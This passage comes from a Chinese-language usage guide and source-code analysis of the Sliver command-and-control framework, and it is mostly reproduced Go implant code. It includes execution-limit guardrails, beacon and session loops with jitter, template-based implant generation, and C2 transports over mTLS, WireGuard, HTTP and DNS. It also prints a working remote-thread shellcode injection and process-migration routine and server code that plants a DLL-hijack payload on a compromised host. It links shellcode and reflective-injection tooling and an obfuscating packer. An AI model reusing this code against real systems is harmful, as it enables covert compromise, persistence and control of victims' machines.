os.Hostname() if err == nil && strings.ToLower(hostname) != strings.ToLower("{{.Config.LimitHostname}}") { // {{if .Config.Debug}} log.Printf("%#v != %#v", strings.ToLower(hostname), strings.ToLower("{{.Config.LimitHostname}}")) // {{end}} os.Exit(1) } // {{end}} // {{if .Config.LimitUsername}} currentUser, _ := user.Current() if runtime.GOOS == "windows" { username := strings.Split(currentUser.Username, "\\") if len(username) == 2 && username[1] != "{{.Config.LimitUsername}}" { // {{if .Config.Debug}} log.Printf("%#v != %#v", currentUser.Name, "{{.Config.LimitUsername}}") // {{end}} os.Exit(1) } } else if currentUser.Name != "{{.Config.LimitUsername}}" { // {{if .Config.Debug}} log.Printf("%#v != %#v", currentUser.Name, "{{.Config.LimitUsername}}") // {{end}} os.Exit(1) } // {{end}} // {{if .Config.LimitDatetime}} "2014-11-12T11:45:26.371Z" expiresAt, err := time.Parse(time.RFC3339, "{{.Config.LimitDatetime}}") if err == nil && time.Now().After(expiresAt) { // {{if .Config.Debug}} log.Printf("Timelimit %#v expired", "{{.Config.LimitDatetime}}") // {{end}} os.Exit(1) } // {{end}} // {{if .Config.LimitFileExists}} if _, err := os.Stat(`{{.Config.LimitFileExists}}`); err != nil { // {{if .Config.Debug}} log.Printf("Error statting %s: %s", `{{.Config.LimitFileExists}}`, err) // {{end}} os.Exit(1) } // {{end}} // {{if .Config.Debug}} log.Printf("Limit checks completed") // {{end}} os.Executable() // To avoid any "os unused" errors } sliver 简单使⽤及源码浅析 15 上述判断限制的输⼊端在这⾥ 默认的基本都是空也就是⼤部分没有做限制 client/command/commands.go#1270 f.String("w", "limit-datetime", "", "limit execution to before datetime") f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines") f.String("y", "limit-username", "", "limit execution to specified username") f.String("z", "limit-hostname", "", "limit execution to specified hostname") f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem") beacon模式 1. 针对不同的beacon通信⽅式建⽴连接 (transports.StartBeaconLoop) 2. 发送注册信息 上报注册事件 (beaconMainLoop) 3. 解析服务端数据 定时任务阻塞 遍历tasks执⾏最后上传结果 func beaconStartup() { // {{if .Config.Debug}} log.Printf("Running in Beacon mode with ID: %s", InstanceID) // {{end}} abort := make(chan struct{}) defer func() { abort <- struct{}{} }() beacons := transports.StartBeaconLoop(c2Servers, abort) for beacon := range beacons { // {{if .Config.Debug}} log.Printf("Next beacon = %v", beacon) // {{end}} if beacon != nil { err := beaconMainLoop(beacon) if err != nil { connectionErrors++ if transports.GetMaxConnectionErrors() < connectionErrors { return } } } reconnect := transports.GetReconnectInterval() // {{if .Config.Debug}} log.Printf("Reconnect sleep: %s", reconnect) // {{end}} time.Sleep(reconnect) } } session模式 会话模式代码与beacon模式类似 func sessionStartup() { // {{if .Config.Debug}} log.Printf("Running in session mode") // {{end}} abort := make(chan struct{}) defer func() { abort <- struct{}{} }() connections := transports.StartConnectionLoop(c2Servers, abort) for connection := range connections { if connection != nil { err := sessionMainLoop(connection) if err != nil { sliver 简单使⽤及源码浅析 16 connectionErrors++ if transports.GetMaxConnectionErrors() < connectionErrors { return } } } reconnect := transports.GetReconnectInterval() // {{if .Config.Debug}} log.Printf("Reconnect sleep: %s", reconnect) // {{end}} time.Sleep(reconnect) } } beacon与session模式区别 可以从代码上主要是区别是beacon调⽤的是 beaconMainLoop session调⽤的是 sessionMainLoop 把⾥⾯具体的不同是什么呢 是 拥有不同的handler⽅法 beacon的handlers sysHandlers := handlers.GetSystemHandlers() specHandlers := handlers.GetSpecialHandlers() getSystemHandler的⽅法有很多⽅法 路径在 implant/sliver/handlers/handlers_windows.go#48 getSpecial 只有⼀个 sliverpb.MsgKillSessionReq: killHandler getSystemHandler部分⽅法截图 都是系统命令执⾏相关 sliver 简单使⽤及源码浅析 17 ⽽session的handlers⽐较多 在beacon的基础上增加了 GetPivotHandlers 和 GetTunnelHandlers pivotHandlers := handlers.GetPivotHandlers() tunHandlers := handlers.GetTunnelHandlers() sysHandlers := handlers.GetSystemHandlers() specialHandlers := handlers.GetSpecialHandlers() GetPivotHandlers的⽅法如下 var ( genericPivotHandlers = map[uint32]PivotHandler{ pb.MsgPivotListenersReq: pivotListenersHandler, pb.MsgPivotStartListenerReq: pivotStartListenerHandler, pb.MsgPivotStopListenerReq: pivotStopListenerHandler, pb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler, } ) GetTunnelHandlers的⽅法如下 var ( tunnelHandlers = map[uint32]TunnelHandler{ sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler, sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler, sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler, sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler, sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler, sliver 简单使⽤及源码浅析 18 } ) 如上可以看出来 beacon偏向于单个主机的控制 session模式偏向于 转发代理 横向移动形式 还有通信延时或者⼼跳时间上的区别 只有 beacon 有⼼跳时间这个东⻄ session是实时通信的 beacon的⼼跳延迟相关代码如下 在 implant/sliver/sliver.go#292 如下代码 beacon的延迟通信或者说⼼跳是判断计算时间和go的 time.After 实现 ⼼跳时间 = 间隔 + 随机值 <= 抖动 符合抖动范围的随机值进⾏⼼跳 具体代码在 Duration() 函数 implant/sliver/transports/beacon.go#100 nextCheckin := time.Now().Add(beacon.Duration()) register := registerSliver() register.ActiveC2 = beacon.ActiveC2 register.ProxyURL = beacon.ProxyURL beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{ ID: InstanceID, Interval: beacon.Interval(), Jitter: beacon.Jitter(), Register: register, NextCheckin: int64(beacon.Duration().Seconds()), })) beacon.Close() time.Sleep(time.Second) // BeaconMain - Is executed in it's own goroutine as the function will block // until all tasks complete (in success or failure), if a task handler blocks // forever it will simply block this set of tasks instead of the entire beacon errors := make(chan error) shortCircuit := make(chan struct{}) for { duration := beacon.Duration() nextCheckin = time.Now().Add(duration) go func() { oldInterval := beacon.Interval() err := beaconMain(beacon, nextCheckin) if err != nil { // {{if .Config.Debug}} log.Printf("[beacon] main error: %v", nextCheckin) // {{end}} errors <- err } else if oldInterval != beacon.Interval() { // The beacon's interval was modified so we need to short circuit // the current sleep and tell the server when the next checkin will // be based on the new interval. shortCircuit <- struct{}{} } }() // {{if .Config.Debug}} log.Printf("[beacon] sleep until %v", nextCheckin) // {{end}} select { case <-errors: return err case <-time.After(duration): case <-shortCircuit: // Short circuit current duration with no error } } 其中 beacon.Duration() 抖动的时间为 配置⽂件中的时间 Config.BeaconJitter 默认是30s sliver 简单使⽤及源码浅析 19 sleep的时间为 配置⽂件中的时间 Config.ReconnectInterval 默认是60s 通信是使⽤定时器的形式来控制间隔 代码如下 // Duration - Interval + random value <= Jitter func (b *Beacon) Duration() time.Duration { // {{if .Config.Debug}} log.Printf("Interval: %v Jitter: %v", b.Interval(), b.Jitter()) // {{end}} jitterDuration := time.Duration(0) if 0 < b.Jitter() { jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter())) } duration := time.Duration(b.Interval()) + jitterDuration // {{if .Config.Debug}} log.Printf("Duration: %v", duration) // {{end}} return duration } beacon怎么⽣成 在命令⾏⾥执⾏ generate 命令 beacon ⽀持以下⼏种消息通信⽅式 switch uri.Scheme { // *** MTLS *** // {{if .Config.MTLSc2Enabled}} case "mtls": beacon = mtlsBeacon(uri) // {{end}} - MTLSc2Enabled case "wg": // *** WG *** // {{if .Config.WGc2Enabled}} beacon = wgBeacon(uri) // {{end}} - WGc2Enabled case "https": fallthrough case "http": // *** HTTP *** // {{if .Config.HTTPc2Enabled}} beacon = httpBeacon(uri) // {{end}} - HTTPc2Enabled case "dns": // *** DNS *** // {{if .Config.DNSc2Enabled}} beacon = dnsBeacon(uri) // {{end}} - DNSc2Enabled default: // {{if .Config.Debug}} log.Printf("Unknown c2 protocol %s", uri.Scheme) // {{end}} } http beacon 1. init是建⽴连接 sliver 简单使⽤及源码浅析 20 2. recv 是get解析 返回pb解析后的数据结构 3. send是将数据结构pb序列化 post上传 4. 其中recv 和send都会使⽤随机编码⽅式 并在编码⽅式写到url中 mtls beacon implant/sliver/transports/mtls/mtls.go 1. 同样初始化 建⽴mtls连接 2. Recv 解析序列化数据到结构体 3. Send 将结构体序列化并发送 4. 并没有对数据进⾏编码混淆 wgBeacon wg beacon是使⽤ WireGuard 协议 是⼀个开源vpn协议通信也是加密的 1. 初始化WireGuard 建⽴连接 2. 读写数据类似都是处理序列化数据和结构体 内部直接使⽤的是WireGuard 的加密通信 dns beacon implant/sliver/transports/beacon.go#337 1. 初始化dns客户端 详细的代码在 implant\sliver\transports\dnsclient\dnsclient.go 2. 读取消息反序列化数据 接收的数据是base32解码 接收多个请求拼接数据 3. 协程控制发送多个请求 将数据拆分成多个请求 beacon是利⽤go模板的⽅式⽣成 ⾥⾯集成了⼤量的代码所以最后输出的⽂件也很⼤ 要100多M ⽣成的⽂件就保存到当前⽬录下 ⽂件名是随机的字符串 renderSliverGoCode 模板代码⽣成go⽂件 1. 验证go环境能够执⾏ 2. 根据config.C2的配置 赋值config 例如 是否http还是https dns mtls等 3. 根据sliver的根⽬录创建编译程序的项⽬⽬录 4. ⽣成证书 ⽣成ecc key 如果开始mtls双端增加证书 ⽣成公私钥 5. 初始化⽬录 binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin srcDir - ~/.sliver/slivers/<os>/<arch>/<name>/src 6. 将代码拷⻉到指定⽬录 如果是dll或者是shellcode的才导⼊ sliver.c 和sliver.h 拷⻉ sliver.go sliver.go 是⼀个模板代码 模板⽂件 很⻓ server/generate/binaries.go#453 renderSliverGoCode sliver 简单使⽤及源码浅析 21 利⽤模板⽣成beacon go代码 7. 编译代码⽣成特定的⽂件 如 执⾏⽂件 dll so ⽂件等 使⽤ GoCmd // This function is a little too long, we should probably refactor it as some point func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gogo.GoConfig) (string, error) { var err error target := fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH) if _, ok := gogo.ValidCompilerTargets(*goConfig)[target]; !ok { return "", fmt.Errorf("invalid compiler target: %s", target) } buildLog.Debugf("Generating new sliver binary '%s'", name) config.MTLSc2Enabled = isC2Enabled([]string{"mtls"}, config.C2) config.WGc2Enabled = isC2Enabled([]string{"wg"}, config.C2) config.HTTPc2Enabled = isC2Enabled([]string{"http", "https"}, config.C2) config.DNSc2Enabled = isC2Enabled([]string{"dns"}, config.C2) config.NamePipec2Enabled = isC2Enabled([]string{"namedpipe"}, config.C2) config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2) sliversDir := GetSliversDir() // ~/.sliver/slivers projectGoPathDir := path.Join(sliversDir, config.GOOS, config.GOARCH, path.Base(name)) if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) { os.MkdirAll(projectGoPathDir, 0700) } goConfig.ProjectDir = projectGoPathDir // Cert PEM encoded certificates serverCACert, _, _ := certs.GetCertificateAuthorityPEM(certs.MtlsServerCA) sliverCert, sliverKey, err := certs.MtlsC2ImplantGenerateECCCertificate(name) if err != nil { return "", err } // ECC keys implantKeyPair, err := cryptography.RandomECCKeyPair() if err != nil { return "", err } serverKeyPair := cryptography.ECCServerKeyPair() digest := sha256.Sum256((*implantKeyPair.Public)[:]) config.ECCPublicKey = implantKeyPair.PublicBase64() config.ECCPublicKeyDigest = hex.EncodeToString(digest[:]) config.ECCPrivateKey = implantKeyPair.PrivateBase64() config.ECCPublicKeySignature = cryptography.MinisignServerSign(implantKeyPair.Public[:]) config.ECCServerPublicKey = serverKeyPair.PublicBase64() config.MinisignServerPublicKey = cryptography.MinisignServerPublicKey() // MTLS keys if config.MTLSc2Enabled { config.MtlsCACert = string(serverCACert) config.MtlsCert = string(sliverCert) config.MtlsKey = string(sliverKey) } otpSecret, err := cryptography.TOTPServerSecret() if err != nil { return "", err } // Generate wg Keys as needed if config.WGc2Enabled { implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP) if err != nil { return "", err } _, serverPubKey, err := certs.GetWGServerKeys() if err != nil { return "", fmt.Errorf("failed to embed implant wg keys: %s", err) } config.WGImplantPrivKey = implantPrivKey config.WGServerPubKey = serverPubKey } err = ImplantConfigSave(config) if err != nil { return "", err sliver 简单使⽤及源码浅析 22 } // binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin binDir := filepath.Join(projectGoPathDir, "bin") os.MkdirAll(binDir, 0700) // srcDir - ~/.sliver/slivers/<os>/<arch>/<name>/src srcDir := filepath.Join(projectGoPathDir, "src") assets.SetupGoPath(srcDir) // Extract GOPATH dependency files err = util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable if err != nil { buildLog.Errorf("fs perms: %v", err) return "", err } sliverPkgDir := filepath.Join(srcDir, "github.com", "bishopfox", "sliver") // "main" err = os.MkdirAll(sliverPkgDir, 0700) if err != nil { return "", nil } err = fs.WalkDir(implant.FS, ".", func(fsPath string, f fs.DirEntry, err error) error { if f.IsDir() { return nil } buildLog.Debugf("Walking: %s %s %v", fsPath, f.Name(), err) sliverGoCodeRaw, err := implant.FS.ReadFile(fsPath) if err != nil { buildLog.Errorf("Failed to read %s: %s", fsPath, err) return nil } sliverGoCode := string(sliverGoCodeRaw) // Skip dllmain files for anything non windows if f.Name() == "sliver.c" || f.Name() == "sliver.h" { if !config.IsSharedLib && !config.IsShellcode { return nil } } var sliverCodePath string if f.Name() == "sliver.go" || f.Name() == "sliver.c" || f.Name() == "sliver.h" { sliverCodePath = filepath.Join(sliverPkgDir, f.Name()) } else { sliverCodePath = filepath.Join(sliverPkgDir, "implant", fsPath) } dirPath := filepath.Dir(sliverCodePath) if _, err := os.Stat(dirPath); os.IsNotExist(err) { buildLog.Debugf("[mkdir] %#v", dirPath) err = os.MkdirAll(dirPath, 0700) if err != nil { return err } } fSliver, err := os.Create(sliverCodePath) if err != nil { return err } buf := bytes.NewBuffer([]byte{}) buildLog.Debugf("[render] %s -> %s", f.Name(), sliverCodePath) // -------------- // Render Code // -------------- sliverCodeTmpl := template.New("sliver") sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{ "GenerateUserAgent": func() string { return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH) }, }).Parse(sliverGoCode) if err != nil { buildLog.Errorf("Template parsing error %s", err) return err } err = sliverCodeTmpl.Execute(buf, struct { Name string Config *models.ImplantConfig OTPSecret string HTTPC2ImplantConfig *configs.HTTPC2ImplantConfig }{ sliver 简单使⽤及源码浅析 23 name, config, otpSecret, configs.GetHTTPC2Config().RandomImplantConfig(), }) if err != nil { buildLog.Errorf("Template execution error %s", err) return err } // Render canaries buildLog.Debugf("Canary domain(s): %v", config.CanaryDomains) canaryTmpl := template.New("canary").Delims("[[", "]]") canaryGenerator := &CanaryGenerator{ ImplantName: name, ParentDomains: config.CanaryDomainsList(), } canaryTmpl, err = canaryTmpl.Funcs(template.FuncMap{ "GenerateCanary": canaryGenerator.GenerateCanary, }).Parse(buf.String()) if err != nil { return err } err = canaryTmpl.Execute(fSliver, canaryGenerator) if err != nil { buildLog.Debugf("Failed to render go code: %s", err) return err } return nil }) if err != nil { return "", err } // Render GoMod buildLog.Info("Rendering go.mod file ...") goModPath := path.Join(sliverPkgDir, "go.mod") err = ioutil.WriteFile(goModPath, []byte(implant.GoMod), 0600) if err != nil { return "", err } goSumPath := path.Join(sliverPkgDir, "go.sum") err = ioutil.WriteFile(goSumPath, []byte(implant.GoSum), 0600) if err != nil { return "", err } // Render vendor dir err = fs.WalkDir(implant.Vendor, ".", func(path string, d fs.DirEntry, err error) error { if err != nil { return err } if d.IsDir() { return os.MkdirAll(filepath.Join(sliverPkgDir, path), 0700) } contents, err := implant.Vendor.ReadFile(path) if err != nil { return err } return os.WriteFile(filepath.Join(sliverPkgDir, path), contents, 0600) }) if err != nil { buildLog.Errorf("Failed to copy vendor directory %v", err) return "", err } buildLog.Debugf("Created %s", goModPath) return sliverPkgDir, nil } sliver 简单使⽤及源码浅析 24 // GoCmd - Execute a go command func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) { goBinPath := filepath.Join(config.GOROOT, "bin", "go") cmd := exec.Command(goBinPath, command...) cmd.Dir = cwd cmd.Env = []string{ fmt.Sprintf("CC=%s", config.CC), fmt.Sprintf("CGO_ENABLED=%s", config.CGO), fmt.Sprintf("GOOS=%s", config.GOOS), fmt.Sprintf("GOARCH=%s", config.GOARCH), fmt.Sprintf("GOPATH=%s", config.ProjectDir), fmt.Sprintf("GOCACHE=%s", config.GOCACHE), fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE), fmt.Sprintf("GOPROXY=%s", config.GOPROXY), fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY), fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY), fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")), } var stdout bytes.Buffer var stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr gogoLog.Infof("go cmd: '%v'", cmd) err := cmd.Run() if err != nil { gogoLog.Infof("--- env ---\n") for _, envVar := range cmd.Env { gogoLog.Infof("%s\n", envVar) } gogoLog.Infof("--- stdout ---\n%s\n", stdout.String()) gogoLog.Infof("--- stderr ---\n%s\n", stderr.String()) gogoLog.Info(err) } return stdout.Bytes(), err } shellcode怎么⽣成的 代码在 server/generate/binaries.go#257 注释⾥写使⽤ Donut 实现shellcode Donut到底是啥 ⽣成 x86、x64 或 AMD64+x86 位置⽆关的 shellcode,从内存中加载 .NET 程序集、PE ⽂件和其他 Windows 有效负载并使⽤参数运 ⾏它们 https://github.com/TheWover/donut 然后我⽤这块的代码学习后写了⼀个⼩⼯具 https://github.com/Ciyfly/microwaveo 这个⼩⼯具可以将dll exe等转为shellcode 混淆shellcode后再赋予加载器 最后输出个exe 并且⽀持⽩⽂件的捆绑 那么我们就知道了怎么将dll exe等东⻄转成⼀个shellcode bin⽂件了 那么这个原始的输⼊在哪⾥呢 就是上⾯的beacon ⽣成的exe来转shellcode 所以最后⽣成的shellcode或者exe都很⼤ CS的分阶段shellcode 是⽤汇编实现 代码很⼩ sliver 简单使⽤及源码浅析 25 另⼀种⽅式srdi 可以参考原理 https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/ 反射dll注⼊ https://github.com/stephenfewer/ReflectiveDLLInjection go实现的 srdi https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3 sliver⾥的go实现就是⽤的这段代码 server/generate/srdi.go 反射dll过程 1. 使⽤ RWX 权限打开⽬标进程并为 DLL 分配⾜够⼤的内存。 2. 将 DLL 复制到分配的内存空间中。 3. 计算 DLL 中的内存偏移量到⽤于进⾏反射加载的导出。 4. 使⽤反射加载器函数的偏移地址作为⼊⼝点,调⽤CreateRemoteThread(或等效的未记录 API 函数,如)以在远程进程中开始执⾏。RtlCreateUserThread 5. 反射加载器函数使⽤适当的 CPU 寄存器找到⽬标进程的进程环境块 (PEB),并使⽤它来查找内存中的地址kernel32.dll和任何其他所需的库。 6. 解析 kernel32 的 export ⽬录,找到所需 API 函数的内存地址,如LoadLibraryA、GetProcAddress、VirtualAlloc。 7. 然后使⽤这些函数将 DLL(本⾝)正确加载到内存中并调⽤其⼊⼝点 DllMain。 LoadLibrary 只能从磁盘加载dll 通过c实现的LoadLibrary的版本 实现可以将任何dll操作 注⼊时 反射dll 将定位此函数的偏移量 并在其上放置⼀个线程 ReflectiveLoader 遍历内存以定位DLL的开头 然后⾃动解包并重新映射所有被裁 完成后会调⽤ DLLMain 并且你的恶意软件会在内存 中运⾏ ⽬前sliver的shellcode⽣成是使⽤的dount 进程迁移怎么实现的 命令⾏ client/command/commands.go#1125 客户端请求 client/command/exec/migrate.go beacon⾥实现 implant/sliver/taskrunner/task_windows.go#134 仅限于windows 利⽤ windows api DuplicateHandle 将当前进程句柄表中的⼀个表项 拷⻉到另⼀个进程的句柄表⾥ 最后将shellcode注⼊到进程中 implant/sliver/taskrunner/task_windows.go#65 injectTask⽅法 1. 先指定进程中申请内存 syscalls.VirtualAllocEx 2. 将shellcode写⼊进去 syscalls.WriteProcessMemory 3. 设置适当的内存权限 syscalls.VirtualProtectEx 4. 创建远程线程调⽤shellcode syscalls.CreateRemoteThread 如下是迁移进程 sliver 简单使⽤及源码浅析 26 // RermoteTask - Injects Task into a processID using remote threads func RemoteTask(processID int, data []byte, rwxPages bool) error { var lpTargetHandle windows.Handle err := refresh() if err != nil { return err } processHandle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(processID)) if processHandle == 0 { return err } currentProcHandle, err := windows.GetCurrentProcess() if err != nil { // {{if .Config.Debug}} log.Println("GetCurrentProcess failed") // {{end}} return err } err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCE if err != nil { // {{if .Config.Debug}} log.Println("DuplicateHandle failed") // {{end}} return err } _, err = injectTask(lpTargetHandle, data, rwxPages) if err != nil { return err } return nil } 如下是进程注⼊ // injectTask - Injects shellcode into a process handle func injectTask(processHandle windows.Handle, data []byte, rwxPages bool) (windows.Handle, error) { var ( err error remoteAddr uintptr threadHandle windows.Handle ) dataSize := len(data) // Remotely allocate memory in the target process // {{if .Config.Debug}} log.Println("allocating remote process memory ...") // {{end}} if rwxPages { remoteAddr, err = syscalls.VirtualAllocEx(processHandle, uintptr(0), uintptr(uint32(dataSize)), windows.MEM_COMMIT|windows.MEM_RESERVE, } else { remoteAddr, err = syscalls.VirtualAllocEx(processHandle, uintptr(0), uintptr(uint32(dataSize)), windows.MEM_COMMIT|windows.MEM_RESERVE, } // {{if .Config.Debug}} log.Printf("virtualallocex returned: remoteAddr = %v, err = %v", remoteAddr, err) // {{end}} if err != nil { // {{if .Config.Debug}} log.Println("[!] failed to allocate remote process memory") // {{end}} return threadHandle, err } // Write the shellcode into the remotely allocated buffer var nLength uintptr err = syscalls.WriteProcessMemory(processHandle, remoteAddr, &data[0], uintptr(uint32(dataSize)), &nLength) // {{if .Config.Debug}} log.Printf("writeprocessmemory returned: err = %v", err) // {{end}} if err != nil { // {{if .Config.Debug}} log.Printf("[!] failed to write data into remote process") // {{end}} return threadHandle, err } if !rwxPages { sliver 简单使⽤及源码浅析 27 var oldProtect uint32 // Set proper page permissions err = syscalls.VirtualProtectEx(processHandle, remoteAddr, uintptr(uint(dataSize)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { //{{if .Config.Debug}} log.Println("VirtualProtectEx failed:", err) //{{end}} return threadHandle, err } } // Create the remote thread to where we wrote the shellcode // {{if .Config.Debug}} log.Println("successfully injected data, starting remote thread ....") // {{end}} attr := new(windows.SecurityAttributes) var lpThreadId uint32 threadHandle, err = syscalls.CreateRemoteThread(processHandle, attr, uint32(0), remoteAddr, 0, 0, &lpThreadId) // {{if .Config.Debug}} log.Printf("createremotethread returned: err = %v", err) // {{end}} if err != nil { // {{if .Config.Debug}} log.Printf("[!] failed to create remote thread") // {{end}} return threadHandle, err } return threadHandle, nil } DLL Hijack dll劫持 路径在 client/command/commands.go#3088 // [ DLL Hijack ] ----------------------------------------------------------------- dllhijackCmd := &grumble.Command{ Name: consts.DLLHijackStr, Help: "Plant a DLL for a hijack scenario", LongHelp: help.GetHelpFor([]string{consts.DLLHijackStr}), HelpGroup: consts.SliverWinHelpGroup, Run: func(ctx *grumble.Context) error { con.Println() dllhijack.DllHijackCmd(ctx, con) con.Println() return nil }, Args: func(a *grumble.Args) { a.String("target-path", "Path to upload the DLL to on the remote system") }, Flags: func(f *grumble.Flags) { f.String("r", "reference-path", "", "Path to the reference DLL on the remote system") f.String("R", "reference-file", "", "Path to the reference DLL on the local system") f.String("f", "file", "", "Local path to the DLL to plant for the hijack") f.String("p", "profile", "", "Profile name to use as a base DLL") f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") }, } con.App.AddCommand(dllhijackCmd) 处理⽅法在这⾥ dllhijack.DllHijackCmd 路径在client/command/dllhijack/dllhijack.go#36 函数上⾯注释写了 使⽤⽅法 这⾥主要做的是 读取参数和dll 向server端发起数据让server端处理 sliver 简单使⽤及源码浅析 28 // dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH // dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH // DllHijackCmd -- implements the dllhijack command func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) { var ( localRefData []byte targetDLLData []byte err error ) session := con.ActiveTarget.GetSessionInteractive() if session == nil { return } targetPath := ctx.Args.String("target-path") referencePath := ctx.Flags.String("reference-path") localFile := ctx.Flags.String("file") profileName := ctx.Flags.String("profile") localReferenceFilePath := ctx.Flags.String("reference-file") if referencePath == "" { con.PrintErrorf("Please provide a path to the reference DLL on the target system\n") return } if localReferenceFilePath != "" { localRefData, err = ioutil.ReadFile(localReferenceFilePath) if err != nil { con.PrintErrorf("Could not load the reference file from the client: %s\n", err) return } } if localFile != "" { if profileName != "" { con.PrintErrorf("please use either --profile or --File") return } targetDLLData, err = ioutil.ReadFile(localFile) if err != nil { con.PrintErrorf("Error: %s\n", err) return } } ctrl := make(chan bool) msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath) con.SpinUntil(msg, ctrl) _, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{ ReferenceDLLPath: referencePath, TargetLocation: targetPath, ReferenceDLL: localRefData, TargetDLL: targetDLLData, Request: con.ActiveTarget.Request(ctx), ProfileName: profileName, }) ctrl <- true <-ctrl if err != nil { con.PrintErrorf("Error: %s\n", err) return } con.PrintInfof("DLL uploaded to %s\n", targetPath) } server dll hijack的代码在 server/rpc/rpc-hijack.go w8ay师傅在知识星球⾥也发了从sliver中提取出来的代理DLL⾃动⽣成,构建转发导出表 go代码 地址是这个 https://articles.zsxq.com/id_maj3olotig6d.html 1. 先初始响应数据 当前会话id 并且判断⽬标是否是windows的 只有windows有dll sliver 简单使⽤及源码浅析 29 2. 如果请求中没有DLL数据,那么就从受控机下载 DLL回来,否则使⽤客户端发的DLL 3. 通过调⽤ generate.SliverSharedLibrary ⽣成beacon DLL 4. 通过调⽤ cloneExports⽅法将 正常的DLL的导出表克隆到 3 ⽣成的 beacon DLL中 5. 将最后的dll返回给客户端 其中 cloneExports⽅法是核⼼处理⽅法 代码路径在 server/rpc/rpc-hijack.go#252 // HijackDLL - RPC call to automatically perform DLL hijacking attacks func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*clientpb.DllHijack, error) { var ( refDLL []byte targetDLLData []byte ) resp := &clientpb.DllHijack{ Response: &commonpb.Response{}, } session := core.Sessions.Get(req.Request.SessionID) if session == nil { return resp, ErrInvalidSessionID } if session.OS != "windows" { return nil, status.Error(codes.InvalidArgument, fmt.Sprintf( "this feature is not supported on the target operating system (%s)", session.OS, )) } // download reference DLL if we don't have one in the request if len(req.ReferenceDLL) == 0 { download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{ Request: &commonpb.Request{ SessionID: session.ID, Timeout: int64(30), }, Path: req.ReferenceDLLPath, }) if err != nil { return nil, status.Error(codes.InvalidArgument, fmt.Sprintf( "could not download the reference DLL: %s", err.Error(), )) } if download.Encoder == "gzip" { download.Data, err = new(encoders.Gzip).Decode(download.Data) if err != nil { return nil, err } } refDLL = download.Data } else { refDLL = req.ReferenceDLL } if req.ProfileName != "" { profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { return nil, err } var p *clientpb.ImplantProfile for _, prof := range profiles.Profiles { if prof.Name == req.ProfileName { p = prof } } if p.GetName() == "" { return nil, status.Error(codes.InvalidArgument, fmt.Sprintf( "no profile found for name %s", req.ProfileName, )) } if p.Config.Format != clientpb.OutputFormat_SHARED_LIB { return nil, status.Error(codes.InvalidArgument, "please select a profile targeting a shared library format", ) } name, config := generate.ImplantConfigFromProtobuf(p.Config) if name == "" { sliver 简单使⽤及源码浅析 30 name, err = generate.GetCodename() if err != nil { return nil, err } } fPath, err := generate.SliverSharedLibrary(name, config) if err != nil { return nil, err } targetDLLData, err = ioutil.ReadFile(fPath) if err != nil { return nil, err } } else { if len(req.TargetDLL) == 0 { return nil, errors.New("missing target DLL") } targetDLLData = req.TargetDLL } // call clone result, err := cloneExports(targetDLLData, refDLL, req.ReferenceDLLPath) if err != nil { return resp, fmt.Errorf("failed to clone exports: %s", err) } targetBytes, err := result.Bytes() if err != nil { return resp, fmt.Errorf("failed to convert PE to bytes: %s", err) } // upload new dll uploadGzip := new(encoders.Gzip).Encode(targetBytes) // upload to remote target upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{ Encoder: "gzip", Data: uploadGzip, Path: req.TargetLocation, Request: &commonpb.Request{ SessionID: session.ID, Timeout: int64(minTimeout), }, }) if err != nil { return nil, err } if upload.Response != nil && upload.Response.Err != "" { return nil, fmt.Errorf(upload.Response.Err) } return resp, nil } 分阶段与⽆阶段的stager有啥区别 sliver源码上说⽀持分阶段和⽆阶段 默认是⽆阶段的 stager Generate a stager using Metasploit (requires local Metasploit installation) stager 使⽤ Metasploit ⽣成 stager(需要本地安装 Metasploit) 也就是说需要使⽤msf来⽣成分阶段的shellcode 可以 help generate 查看 sliver 简单使⽤及源码浅析 31 ⼀些可以抄的代码 获取根程序⽬录 先从环境变量获取没有的话就⽤当前⽤户⽬录下创建⼀个 .程序⽬录 func 